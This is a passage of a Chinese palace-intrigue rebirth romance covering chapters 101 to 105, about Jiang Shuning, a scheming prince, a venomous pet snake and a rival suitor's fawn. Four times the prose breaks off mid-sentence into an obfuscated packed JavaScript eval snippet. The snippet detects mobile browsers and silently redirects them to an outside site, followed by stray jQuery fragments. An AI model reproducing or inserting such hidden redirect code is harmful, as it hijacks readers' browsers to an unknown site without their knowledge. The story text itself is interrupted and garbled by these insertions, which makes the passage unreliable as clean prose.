姜姝宁顿时心领神会:“谢殿下告知,臣女知道该怎么做了。” 说完,她行了个礼便离开。 萧琪钰看着姜姝宁离去的背影,一脸茫然:“嫂嫂到底明白什么了?我怎么半点都不明白?” 孙神医哈哈大笑:“七皇子,这是四皇子跟姜姑娘的默契,我们旁人定是不懂的。” 萧琪钰挤眉弄眼:“四哥,你跟嫂嫂这么有默契,是不是好事将近了?” 萧凌川没心思和他开玩笑,神色陡然变得冷峻起来:“七弟,别琢磨这些有的没的,好好查一查今日姜姑娘到底为何会堕马。” “四哥,那匹马跑丢了,姑母说从前从发生过马突然发疯的现象,今日的意外,实在有些蹊跷。我已经让人仔细检查过马的饲料和饮水,并没有发现任何异常。 因此我推测,很有可能是那匹马在上了马球场之后,突然被人动了手脚才发疯的。而这段时间接触过马的,除了嫂嫂自己,就只有我们的表弟小公爷了。” 萧琪钰将自己调查到的情况,一五一十地告诉了萧凌川。 “是他?”萧凌川神色阴沉,“这小公爷和姜姑娘无冤无仇,怕是有人指使他这么做的。” 萧琪钰好奇地问:“谁啊?” 萧凌川阖上眼眸,声音慵懒:“送我回宫。这几日我在宫里养伤,除了姜姑娘,不见任何访客。” 萧琪钰想了想,南月细作两母女这个月的解药差不多到了给的时候了。 看来,四哥又要让她们不好过了。 —— 姜姝宁回到相府的第一件事,便是去找姜天泽兴师问罪。 姜天泽一听说姜姝宁来了,立刻迎了上去,清俊的眉宇间满是担忧:“大姐姐,方才听说你在长公主的马球场出事了,我真是担心坏了!” 今日正好是他去骊山书院报到的日子,所以才未能与姜姝宁她们一同前去参加大长公主举办的马球赛。 没想到刚回到府中,就从姜瑶真口中得知她在马球场出了事,顿时心急如焚,一颗心也悬了起来。 姜姝宁冷冷看着他:“我在马球场出事,还不是拜三弟你所赐?” 姜天泽一愣:“大姐姐何出此言?” 姜姝宁将缠在腕间的小白蛇拿起来递给他,手指因愤怒微微颤抖:“这条小蛇有剧毒,你为何不告诉我?你可知你差点酿成大祸?!” 听到这话,姜天泽狭长的丹凤眼里晦暗不明,他缓缓开口:“大姐姐,是谁被它咬伤了吗?” 若非有男子紧挨着姜姝宁的身子,再加上有剧烈的肢体接触,这小白蛇是不会轻易咬人的。 一想到有男子这样对待他的大姐姐,他心中就一阵妒恨。 “我骑的马突然发了疯,若不是四皇子殿下及时出手相助,我恐怕现在早就已经身受重伤!可我万万没有想到,四皇子殿下竟然会被我随身带着的小白蛇咬伤,险些**身亡!三弟,你怎么能把这么危险的动物留在我的身边,却对我只字未提?你究竟安的什么心?” 姜姝宁越想越气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620123|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这小白蛇我不要了!” 姜天泽听着她声色俱厉的指责,心中非但没有丝毫的愧疚,反而暗暗地松了一口气。 还好,大姐姐并未让别的男子近身。 否则,那人死不足惜! 他连忙摆出一副诚惶诚恐的模样,语气懊恼道: “大姐姐,我错了,我以为小白是条小蛇,毒性不大,况且它又这么温顺,一定不会随便伤人的。是我思虑不周,害了四皇子殿下。若四皇子殿下想追究,我愿意承担一切责任,哪怕他要打要骂,我也绝无怨言!” “四皇子殿下没有要追究的意思。” 相反,萧凌川对姜天泽送她身怀剧毒的宠物蛇防身一事,似乎颇为认可和赞赏。 他们两人,简直臭味相投! “那……大姐姐不要生气了,好不好?”姜天泽双手捧着小白蛇,可怜巴巴地哀求,“是天泽错了,天泽现在就把小白的毒腺除掉,往后它一定不会再咬伤人!大姐姐,你别不要它,好不好?” 那小白蛇也十分配合地睁着一双红色大眼眸,歪头直勾勾地盯着姜姝宁,像是担心被主人抛弃的小狗。 姜姝宁有些迟疑地问:“这蛇的毒腺若是除掉了,它还能活吗?” “当然可以!若大姐姐怕它咬人,我还可以帮你把它的牙齿拔掉!”姜天泽说着,作势要掰开小白蛇的嘴。 姜姝宁于心不忍,拦着他道:“算了,它是一条蛇,若连牙齿都没了,往后还如何自卫?” “好,那我就不拔了。”姜天泽用一种近乎哀求的眼神望着她,轻声问,“那大姐姐,不会不要小白吧?” “你先把它的毒腺除掉再说!”姜姝宁依旧有些生气,语气也略显生硬,“往后不许再有任何事瞒着我,听到了吗?” “知道了,大姐姐。”他垂眸,乖顺地应道。 姜天泽把小白蛇带回了西院。 毒腺自然不能全部除掉,否则这小白蛇就没有任何杀伤力了,留它在大姐姐身边还有什么意义? 他设法改良了一下所喂的毒物,让小白蛇毒腺里的毒性变弱,不至于瞬间取人性命。 做完这一切,他摸了摸小白蛇的头,脸上露出一抹诡异的笑。 没想到,被小白蛇咬了一口,竟没能要了他的命。 看来这位四皇子殿下,有点东西啊。 第102章 一个吻也不行吗? 第一百零二章一个吻也不行吗? 翌日清晨,姜姝宁提着两个食盒进了宫。 她先去慈宁宫拜见了太后。 前段时日她还能以家中有丧事为由,不宜进宫拜见太后。 如今,姜天恩和姜天赐的丧期早已过了七七四十九天,若是进宫再不先去拜见太后,便显得她礼数不周了。 太后斜倚在软榻上,精神不济,眉眼间带着一丝倦意,看得出这恼人的红疹着实让她受了不少折磨。 姜姝宁先是恭敬地朝太后行了个礼,而后将专程为太后准备的食盒双手呈上,柔声道:“太后娘娘,臣女听闻您凤体欠安,身上起了红疹,心中甚是担忧。这是臣女亲手熬制的参苓白术粥,对缓解红疹有些许功效,还望太后娘娘不嫌弃,尝一尝。” 太后身边的吴嬷嬷上前接过她手中的食盒,太后这才抬眸看向姜姝宁,恹恹的脸上露出一丝笑意:“姜姑娘有心了,哀家甚感欣慰。” 她顿了顿,目光中带着几分探究,“哀家起红疹的事,是四皇孙告诉你的吧?” “回太后娘娘,正是。”姜姝宁坦然答道。 “哀家听说昨日在马球场上,四皇孙是为了救你才受的伤。”太后笑容更深,语气中多了几分意味深长,“哀家的四皇孙对你如此情深义重,你当真忍心拒绝他吗?” 姜姝宁脸颊瞬间染上了绯红色。 她垂下眼眸,低声说道:“太后娘娘莫要再调侃臣女了。” “那道懿旨是哀家亲自给你的,哀家自然不会在婚姻大事上勉强你。只是哀家的这个四皇孙,文韬武略,模样出众,实在是无可挑剔。况且,他对你也这般好。哀家实在不明白,他为何走不进你的心里?” 姜姝宁心中酸涩。 她并非挑剔之人,只是前世她已用自己的一生证明,选择萧凌川会落得不得善终的下场,今生又怎能重蹈覆辙? “四皇子殿下自然是人中龙凤,只是臣女深知自己配不上他,故而不敢奢望。” 这样的回答反倒让太后有些不悦。 她沉声问:“既然你今日来见哀家,那哀家就索性问个清楚。哀家这么多的皇孙,个个都是人中俊杰,究竟哪一个才是你的如意郎君?” 姜姝宁袖子里的掌心微微渗出汗珠。 太后虽然深居宫中,不曾踏出宫门半步,但却耳聪目明,肯定听说了不少关于她的闲言碎语。 如今无论是宫中的皇子们,还是京城里的贵女们,都认定她是一个朝三暮四、招蜂引蝶的女子。 今日太后当着她的面问出这个问题,与其说是在询问,不如说是在质问。 姜姝宁深吸一口气,跪在太后面前:“回太后的话,臣女自惭形秽,深感配不上任何一位皇子殿下。” “你的意思是,你心悦之人不是哀家的皇孙?” “回太后的话,臣女没有心悦之人。”姜姝宁鼓起勇气道,“臣女此生,都不准备嫁人!” “什么?”太后不禁有些吃惊,“你当真都想清楚了?” “是!”姜姝宁抬起头,神色笃定,“自从兄长不幸逝世之后,臣女便暗自下定决心,此生要尽心侍奉父母,为他们养老送终。” “你的孝心,哀家能够理解。”太后沉吟片刻,缓缓说道,“但你毕竟是一个女子。按照我朝律法,女子是没有继承家业的资格的。若是你一生不嫁,待到你父母百年之后,你又当如何自处呢?” “臣女已经跟过继到父亲名下的堂弟商量好了,他会让臣女继续留在姜家,颐养天年。” 她不可能选择萧凌川,重复前世的错误,可她也心知肚明,以萧凌川那霸道专横的性子,又怎会容忍她嫁给他人? 所以,在她借萧凌川之手为兄长报仇雪恨之前,她谁也无法选择,谁也不敢选择。 与其在这些皇子之间左右为难,不如干脆将自己不嫁人的决定昭告天下,也好堵住这悠悠众口。 太后长叹一声:“哀家还以为你挑剔,看不上哀家的皇孙们,没想到你竟是这般打算。若是四皇孙知道,他定会很难过的。” “是臣女没有福分,无缘与四皇子殿下结为连理。臣女相信,四皇子殿下将来定会遇到一位真正值得他倾心相待的良人。” 太后无奈道:“罢了,你今日应当还要去探望四皇孙吧?哀家便不留你多坐了,你且退下吧。” “谢太后娘娘!”姜姝宁再次行了个礼,而后缓缓退出了慈宁宫。 太后一边吃着姜姝宁亲手熬制的参苓白术粥,一边惋惜道:“可惜啊,这么好的姑娘竟不愿当哀家的皇孙媳。哀家的这个四皇孙啊,也是个认死理的,放着那么多好姑娘不要,偏偏就认准了姜姑娘。他未能得偿所愿,想必会很难过吧?” 吴嬷嬷安慰道:太后娘娘不必太过忧心,姜姑娘如今还年岁尚浅,往后未必不会改变主意。况且四皇子殿下这般才貌双全,人中龙凤,这天底下又有哪个女子能够不动心呢?” 太后点头:“你说的也有些道理。她不过是一个还不到十七岁的小姑娘,将来的事情,谁又说得准呢?等她再长大一些,想明白了,肯定会改变主意的!” 姜姝宁来到景和宫。 萧凌川早就等得望眼欲穿,见她进来,便目不转睛地盯着她提进来的食盒。 “怎么只有一个食盒?” 他昨日不是点了很多菜吗?一个食盒哪里够装? “臣女只带了需要费时费力熬制的汤水,至于其他的菜肴,臣女想在殿下的后厨亲手烹制。毕竟,殿下宫里食材应有尽有。”姜姝宁语气浅淡地解释道。 听到这话,萧凌川神色才稍霁。 姜姝宁跟着宫人去了厨房,有条不紊地忙碌起来。 很快,一桌色香味俱全的饭菜便摆上了桌。 萧凌川看着前世吃惯了的菜肴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620124|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只觉得食指大动。 前世成婚十年,他的胃口便是一点点被她撑大的。 一开始他每餐饭量不足一碗,身形清瘦,她便一日三餐都变着花样地做给他吃,调养身体。 后来他食量见长,每餐至少要吃上两碗才够,身子也渐渐变得壮硕。 想到这,他看向她的目光带上了几分温柔:“你忙了那么久,想必也饿了,坐下来一起吃吧。” “好。”姜姝宁没有推辞,她将热好的汤放在桌上,随口问了句,“七皇子殿下呢?他不来和我们一起吃吗?” 萧凌川不自然地轻咳了一声,掩饰道:“他今日有些要事在身,所以便不来了。”这当然是骗她的。 是他故意不让萧琪钰来的。 他天天盼着有机会跟她单独相处,哪能让萧琪钰这个不懂眼色的弟弟打扰? 况且…… 萧凌川用没有受伤的左手吃力地夹起菜,故意在她面前表现出极其困难的模样。 姜姝宁只能将椅子挪到他身边,拿起他的筷子:“殿下想吃什么,臣女帮你夹。” 萧凌川一开始还有些拘谨,慢慢就习惯了她的悉心照顾,一口一口吃她喂过来的饭菜。 她喂的饭菜就是格外香。 他已经很久没这般心满意足过了。 姜姝宁喂得极有耐心,一勺饭一勺菜,接着一勺汤。 喂完后还用帕子小心翼翼地帮他擦拭唇角残留的油渍,细心周到。 他注视着她,心潮起伏。 恍惚间仿佛回到了前世他们还是夫妻的时光,她也是这般温柔体贴,将他照顾得无微不至。 千言万语涌上心头,最终只化作一句情不自禁的低喃:“姝宁,你真好。” 姜姝宁垂眸,掩盖眼底翻涌的情绪:“殿下毕竟是为了救我才受的伤,臣女照顾你是应该的。” 这话说得客气疏离,仿佛一道无形的屏障,瞬间将两人隔开。 一股难言的失落袭上萧凌川的心头:“难道我们之间,除了恩情,就没有别的了吗?” 前世也是如此,他救了她的命,她便执意要嫁他。 在此之前,她像其他世家贵女一般,从未留意过他。 嫁他,只是为了报恩吗? 姜姝宁抬眸,对上他炙热的目光,像是被烫到似的迅速垂眸。 “殿下的心意,臣女自然明白。” 她深知他这样的目光意味着什么,声音不禁染上了几分颤抖。 萧凌川胸口翻涌着难以克制的渴望,他伸出手轻抚她的脸颊,目光缱绻灼热:“你明白就好。” 他情难自禁,凑过来想吻她的唇,被她慌忙制止了。 她手指抵着他滚烫的唇,声线颤抖:“殿下,你答应过臣女的!” 等他有了天下,才能拥有她。 萧凌川有些不依不饶:“一个吻,也不行吗?” 第103章 抓了个现行 第一百零三章抓了个现行 姜姝宁指尖滚烫。 前世与他做了十年夫妻,她对他的本性再熟悉不过。 那些水深火热、溃不成军的漫漫长夜,都是由一个看似微不足道的吻开始的。 星星之火足以燎原,她所要做的,便是绝不给这欲念之火有点燃的机会。 一旦失守,便将一发不可收拾。 “殿下今日想要一个吻,明日便想要臣女的身子,人的渴求是无穷无尽的。臣女的筹码本就不多,若都给了殿下,岂不是太被动了?” “筹码?”萧凌川神色不虞,“在你心中,我们之间就只有交易了吗?” 姜姝宁心中在冷笑。 不然呢? 难道他们之间还有前世藕断丝连的夫妻情谊不成? 她心中腹诽,面上却不显,只低眉顺眼道:“臣女不善言辞,还请殿下恕罪。” “交易也罢。”他视线牢牢的锁定着她,一字一句道,“但我要的不是你的身子,而是,你的心。” 姜姝宁心头一跳,继而眼底掠过一丝不易察觉的嘲讽之色。 多讽刺啊,前世她将一颗心捧在他面前,他视而不见,不仅和姜瑶真纠缠不清,还给她下避子药,害她连当母亲的资格都没有。 重来一世,他竟说想要她的心! 果然,于男子而言,得不到的永远是最好的。 “好啊。”姜姝宁笑靥如花,“等殿下铲除了三皇子……哦不,是瑞王,夺得这天下,臣女的心便是你的。” 萧凌川幽暗的桃花眸里墨色翻涌,有些咬牙切齿道:“我以为,你会说,你的心早在我这了!” 姜姝宁心中冷笑更甚:做什么白日梦? 萧凌川,你未免太把自己当回事了吧? 见她不语,他略感无奈,声音里多了几分苦涩,“也不怪你,前世我那般伤你,你对我有所保留也是也是情理之中。我不会勉强你的,今生我定会让你亲眼看到我的诚意,让你心甘情愿地将真心交付于我。” 姜姝宁始终一言不发,任他自说自话。 心中却暗暗发誓:今生,她的身心,他都休想染指! 为了避免萧凌川继续这个话题,她主动说起另一件事:“殿下,您既然早已知晓瑞王与西洲国暗中勾结、通敌叛国,为何不干脆将此事禀告给陛下,让陛下定夺?” 一个**通敌的罪名,足以让萧修湛万劫不复! 只要皇帝下令彻查,他便再无翻身之日! “此事兹事体大,须得拿到确凿的证据才行。”萧凌川神色凝重,“萧修湛与镇国公行事十分谨慎,直到现在,我安插在他身边的耳目依旧无法截获他们与西洲国之间传递情报的书信。 西榆山地势险峻而隐秘,机关重重,我曾多次派武功高强的死士前去一探究竟,可惜他们都被萧修湛手下的精兵强将尽数诛杀,更别提带回任何有用的机密了。 若是贸然禀告父皇,在没有通敌铁证的情况下,很有可能打草惊蛇,反而给了他提前转移阵地、销毁证据的机会。届时,他必定会反咬一口,说我故意污蔑栽赃,那就得不偿失了。” “难道我们就只能坐以待毙吗?”姜姝宁有些焦灼。 萧修湛已经在西榆山秘密训练私兵,拥兵自重。 若是再不加以遏制,任由他发展下去,届时想要对付他,便难如登天了。 前世她怎么会觉得,萧凌川轻而易举地制服了萧修湛? 萧修湛分明是个强大且可怕的对手! “别急,凡事谋定而后动,欲速则不达。”萧凌川安慰道,“纵然一时之间无法拿到他通敌叛国的铁证,但我还可以通过其他法子,慢慢碾碎他的势力,让他最终毫无胜算!” 他薄唇微勾,俊美无俦的脸上浮起一抹势在必得的神色。 “那臣女便拭目以待,等殿下的好消息。今日臣女家中还有事,先行告退。”姜姝宁说着,起身准备离开,被他伸手拉住。 “你明日还来看我吗?”他满怀期待地问。 手心里传来他掌心的温度,炙热一片。 直觉告诉姜姝宁,再这样频繁与他见面,怕是萧修湛还没被除掉,她就被他吃干抹净了。 猎物最好的自保方式,便是不要频繁出现在虎视眈眈、蓄谋已久的猎人视线里。 “臣女最近家中事务繁忙,怕是不能来看殿下了。还请殿下珍重,好好养伤。” 萧凌川脸上浮起肉眼可见的失望。 “也罢,既然你不来看我,我就只能将就着吃宫里御厨做的那些不合口味的饭菜,我还得忍着伤痛,努力练习用左手吃饭……” 他刻意示弱,眉梢眼角都染上肉眼可见的委屈。 姜姝宁心如磐石,没有丝毫动摇。 她不着痕迹地将手从他的掌心里抽出,语气柔和而疏离:“殿下,宫里御厨做饭菜您吃久了,总会习惯的;若是您实在不想用左手夹菜,那就让景和宫的宫人喂您吃。殿下若没有其他事情要吩咐,臣女就先行告退了!” 说完,她向他盈盈行了一个礼,便头也不回地转身离去,没有丝毫的留恋。 萧凌川看着她离去的背影,心中酸涩难当。 她没有前世那般在意他、凡事以他为重了。 他苦笑,怨不得旁人,都是他咎由自取。 姜姝宁刚走出景和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620125|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫,迎面便撞见一道熟悉的身影。 那人一身素雅锦袍,怀中抱着件厚厚的衣物,眉梢眼角浸染着温润如春风的笑意,见到她便朗声招呼:“姜姑娘!” 姜姝宁一愣,抬眼看去,竟是五皇子萧怀瑾。 她福了福身:“五皇子殿下,您怎么来了?” 萧怀瑾笑得愈发和煦,眼神在她身上停留片刻,才道:“我知道今日你定会来宫里探望四哥,便特意在这儿等着你了。” 姜姝宁一想起萧凌川那副醋意翻涌的模样,顿时有些头皮发麻,低声问:“殿下既然来了,为何不进去探望四皇子殿下?” “姜姑娘可能不知,四哥对外宣称在宫里养伤,近日不见任何人。我本也想去看他的,却被他宫里的人婉拒了。” 姜姝宁一时哑然。 她能随意出入景和宫,这不等于明晃晃地告诉旁人,她和萧凌川的关系不一般吗? 一想到这点,她只觉脸颊发烫,尴尬不已。 “不知五皇子殿下找我有何事?” “昨日不是才和你约了一起去我母妃后花园看小鹿的吗?”萧怀瑾语气轻快提醒道。 姜姝宁一怔,昨日她不过是随口搪塞,没想到他竟当了真。 “殿下,臣女今日还有事,恐怕……” “我知道。”萧怀瑾打断她,笑容依旧温润,“所以我把小鹿带来了!” 话音刚落,他便掀开怀中衣物的一角,露出藏在里面一张毛茸茸的小脸。 那小鹿水汪汪的、湿漉漉的眼睛紧盯着姜姝宁,鼻头还轻轻抽动着,一副好奇的模样,可爱得让人心都化了。 姜姝宁愣在原地,手指不由自主地攥紧了袖口。 她对毛茸茸的动物有种与生俱来的喜爱,尤其看到小鹿那双乌黑如墨的大眼睛,她满脑子就只剩下“好可爱”这三个字,根本说不出拒绝的话来。 “姜姑娘,瞧它多喜欢你。”萧怀瑾低声笑着,声音温柔地诱哄,“你摸摸它,它**可软了。” 姜姝宁抵不住诱惑,还是伸出手,轻轻触了触小鹿的脑袋。 指尖下的毛发果然柔软得像一团云,她深吸一口气,将心口那股激动强压下去。 “它叫绒毛,我养了好些日子,性子最是温顺。”萧怀瑾一边说,一边将小鹿往她怀里递了递,“你若喜欢,抱抱它也无妨。” 姜姝宁正准备接过小鹿,身后陡然传来一道低沉而冰冷的嗓音:“五弟好兴致,连鹿都带来了。” 她心头一跳,猛地回头,只见萧凌川不知何时站在不远处,脸色阴沉得像是暴风雨前的乌云。 姜姝宁如临大敌:完了,被他抓了个现行! 第104章 他还不如这头畜生? 第一百零四章他还不如这头畜生? 萧凌川目光冷冷扫过萧怀瑾怀里的小鹿,又落在姜姝宁方才触碰小鹿的手上,眼神里像淬了毒,寒意刺骨。 姜姝宁头皮发麻,手指下意识缩了回来。 她还没来得及开口,萧凌川已大步走了过来,语气里满是嘲讽:“怎么,五弟莫不是觉得,本王这景和宫太冷清,特意送个畜生来热闹热闹?” 萧怀瑾笑容不变,语气依旧温和:“四哥误会了,我只是记得姜姑娘提过喜欢小鹿,便特意带来给她瞧瞧。倒是四哥,怎的出来了?伤势可好些了?” 萧凌川冷笑一声,目光转向姜姝宁,像是刀子般刮过她的脸:“姜姑娘不是家中有事,急着回去吗?怎么,还有闲心在这儿逗鹿玩?” 他方才装可怜她都不愿多陪他一会,如今竟为了逗这只畜生在门外徘徊了许久。 难道在她心里,他还不如这头畜生吗? 姜姝宁唯恐萧凌川兴师问罪,连忙道:“臣女家中确实有急事,两位殿下,臣女先行告退!” 说完,她疾步往宫门的方向走去,颇有几分落荒而逃的意味。 萧怀瑾抱着小鹿,目光追随着她离去的背影。 萧凌川见他如同望妻石一般看着姜姝宁离开的方向,顿时妒火中烧,语气阴冷得像淬了寒霜:“五弟,我劝你最好尽快打消对姜姑娘的心思!” 萧怀瑾收回视线,笑得温和无害:“四哥何出此言?” “既然你问了,那我不妨直说。”萧凌川语气里透着不容置疑的霸道,“姜姑娘将来是要当你四皇嫂的!” 前世如此,今生亦然! 萧怀瑾丝毫不为所动,他低头抚了抚小鹿的头,语气依旧不紧不慢:“恕我直言,若姜姑娘心悦四哥,我定会成人之美。只可惜,姜姑娘心悦之人显然不是四哥。如今我与四哥都心悦姜姑娘,那便公平竞争罢。” “你……”萧凌川只觉得跟他说话,仿佛一拳头打在了棉花上,郁闷至极,只得怒道,“不自量力!” 姜姝宁刚回府不到一个时辰,门房便匆匆来报,说是四皇子殿下特意遣了宫人送来一份东西,点名要交给她。 凌芜上前接过那沉甸甸的纸包,打开一看,竟是一条烤得金黄酥脆的鹿腿。 “大小姐,四皇子殿下真有心,竟送条烤好的鹿腿给您吃。” 姜姝宁气不打一处来,他哪里是送鹿腿来给她吃,他分明是警告她以后不准再和萧怀瑾来往。 院里的婢女们都被这香喷喷的鹿腿馋坏了,夏蝉问她:“大小姐,这鹿腿趁热吃最香,您现在要尝尝吗?” 姜姝宁刚见过一只憨态可掬的小鹿,哪里吃得下鹿肉? “我不吃,你们趁热分着吃吧!” 婢女们闻言大喜,齐声谢道:“多谢大小姐赏赐!” 便欢天喜地地捧着鹿腿退下了。 姜姝宁却忍不住想起萧怀瑾怀里的那头小鹿,以及他抱那头小鹿时,脸上温柔得仿佛可以融化冰雪的神色。 五皇子这般温润如玉之人,若将来为人父,定会是一个极好极慈爱的父亲吧? 若前世她的选择不是萧凌川,而是他,或许,她的人生会是另一番光景。 翌日,姜瑶真戴着面纱来找她,心急如焚:“姐姐,我听说四皇子殿下正在宫中养伤,闭门谢客。我恰好有要紧之事需与他商议,你能否带我入宫一趟?” 姜姝宁昨日才对萧凌川推说家中事务繁忙,无暇进宫探望,若今日便带着姜瑶真前往,岂不是自相矛盾? 于是她拒绝道:“今日我不打算进宫,怕是帮不了你。改日再说吧!” 姜瑶真不死心:“那……姐姐可有法子联系上四皇子殿下,替我约他出来一见?我实在有万分紧要之事,必须当面与他说明!” 她说着,声音里带上一丝哭腔。 姜姝宁眉头微蹙,心中暗自揣测,姜瑶真如此心急如焚,莫非是得知了萧修湛的什么秘密,急于告知萧凌川? 想到此处,她不敢怠慢,道:“好吧,你想约他在何处相见?” “你……就让他去来福酒楼!”姜瑶真补充道,“千万别提是我找他,就说是你约他前去!” 姜姝宁暗忖,莫非她是担心萧修湛察觉她与萧凌川私下联络,才如此小心翼翼? 她也不再多问,点头应下:“好,我这便安排。” 她唤来凌芜,嘱咐她即刻带封信送往宫中,就说自己约萧凌川前往来福酒楼见面。 没想到,不到半盏茶功夫,萧凌川竟回复说自己即刻动身。 “四皇子殿下已经答应前往来福酒楼,你可以去见他了!”她对姜瑶真道。 姜瑶真犹豫了片刻,低声恳求:“姐姐,你能不能陪我一起去?” 她心知肚明,萧凌川之所以肯去来福酒楼,是以为约他的人是姜姝宁。 若去了来福酒楼只看的她没见到姜姝宁,肯定会大发雷霆。 她和姨娘服解药的期限到了,脸上身上开始有了溃烂的迹象,实在不能再等下去了。 无论如何,她今日都要见到萧凌川,跟他拿到解药! 姜姝宁蹙眉:“你确定我真的能跟你一起去?” 姜瑶真用力点头:“当然可以!我和殿下之间,绝无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620126|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何需要瞒着姐姐之事!” 姜姝宁心想,难道萧凌川把和她结盟的事也告诉姜瑶真了? 他的心可真大! 姜姝宁陪着姜瑶真来到来福酒楼指定的雅间,没想到萧凌川已经候在那。 目光触及姜瑶真时,他的脸色陡然一沉,眉宇间尽是不悦,寒声问:“怎么是你?” 姜瑶真连忙道:“殿下,我有急事找您!要不,我们私下说吧!” 萧凌川闻言,目光复杂地扫了一眼站在一旁的姜姝宁。 她竟帮着姜瑶真把自己诓骗出来! 片刻后,他薄唇紧抿,声音冷得仿佛能结冰:“进来吧!” 姜瑶真如释重负,赶忙转头对姜姝宁道:“那就有劳姐姐在门外稍候片刻,妹妹与殿下说完便出来!” 说完,她快步迈入雅间,顺手将房门紧紧关上。 被晾在门外的姜姝宁:…… 方才姜瑶真不是说,她和萧凌川之间绝无任何需要瞒着她的事吗? 她嘴里果然没一句真话! 雅间之门在关上的那一瞬,萧凌川的脸色骤然阴沉如墨,目光中寒意毕现:“姜瑶真,你好大的胆子,竟敢借姝宁的名义将我诓骗至此!” 姜瑶真却丝毫不怯,迎着他的目光冷声回应:“殿下若不想让姐姐知道你用阴毒的手段控制我,最好尽快将解药交出来!” 萧凌川冷笑:“你在威胁我?” “臣女不敢。只是臣女不愿毁了殿下在姐姐心中的形象。殿下也知道,姐姐素来倾心于五皇子那般温润如玉的君子,若让她知道您为了逼我姨娘为您效力,竟不惜对我们下毒,殿下以为,姐姐会如何看待您?” 她的声音虽低,却字字如刀,直戳萧凌川的心窝。 萧凌川的面色越发阴冷,脑海中却不由得浮现出昨日在景和宫外的一幕——姜姝宁与萧怀瑾一同逗弄小鹿,她眉眼舒展,笑意盈盈,脸上流露出他从未见过的轻松与开怀。 那是她在他面前从未有过的神情。 每每与他相对,她总是神色紧绷,肢体僵硬,宛如一张拉到极致的弓弦,稍有不慎便会断裂崩毁。 此时等在门外的姜姝宁,无意间瞥见一个跟自己妆容打扮极其相似的女子。 她心下好奇,便不动声色地跟了上去,欲一探究竟。 待走近些许,那女子的面容越发熟悉,姜姝宁不由得多看了几眼。 不料,那女子似有所感,猛地抬起头来,与姜姝宁四目相对,眼中闪过一抹惊诧,随即脱口而出:“大姐姐?” “三妹?”姜姝宁也很诧异,“你怎么在这里?” 第105章 急不可耐想虏获她的心 第一百零五章急不可耐想虏获她的心 姜莲眼中掠过一丝不安,低头道:“大姐姐,我、我是来找二姐姐的。” 姜姝宁还想问什么,身后雅间的房门被打开,戴着面纱的姜瑶真和萧凌川走了出来。 姜莲一看到萧凌川,慌忙跪在地上,声音带着颤抖:“民女见过殿下!” 姜姝宁心头一跳,姜莲竟认识萧凌川? 她打量着姜莲那低眉顺眼的模样,心中莫名一阵烦躁。 她们有血缘关系,容貌身段多少有些相似,但不至于让人混淆。 然而今日,姜莲的妆容穿着与自己平日风格几乎一模一样,显然是故意模仿。 尤其此刻,她跪在萧凌川面前,姿态卑微,让姜姝宁仿佛看到了自己低声下气的模样,心中一阵膈应。 她正要开口,萧凌川却没理会跪在地上的姜莲,目光直直地看向她,语气中带着几分不善:“把我约出来,难道就没话对我说吗?” 姜姝宁蹙眉,听这语气,他是在质问自己? 她心头一梗,面上却没有显露分毫,声音平稳中透着几分疏离:“臣女听瑶真说有要事想见殿下,便帮她将殿下约出来了。实在事出突然,还请殿下恕罪!” 她说着,屈身行了个礼,正准备转身离开,手腕却被用力扣住。 “既然都出来了,那便陪我在雅间里坐坐吧!”萧凌川声音低沉,带着不容置喙的强势。 话音刚落,他不顾姜瑶真和姜莲在场,径直将姜姝宁拉进雅间,随即“砰”的一声关上房门。 直到确定他离开,姜莲这才颤颤巍巍地抬起头来。 “看到了吗?这就是殿下对待咱们姐姐的态度!”姜瑶真眼底闪过一丝妒恨,“你若是能取代她,还愁没有荣华富贵吗?在皇子身边,哪怕当个妾,也比你嫁个寻常人家强!” 姜莲咬紧嘴唇,眼中闪过一丝贪婪与挣扎。 她父亲虽分得了大伯姜丞相一半的家产,但终究算不是权贵高门,加之与相府关系破裂,她若想嫁入豪门,简直难如登天。 如今,除了依靠姜瑶真,她实在别无他路。 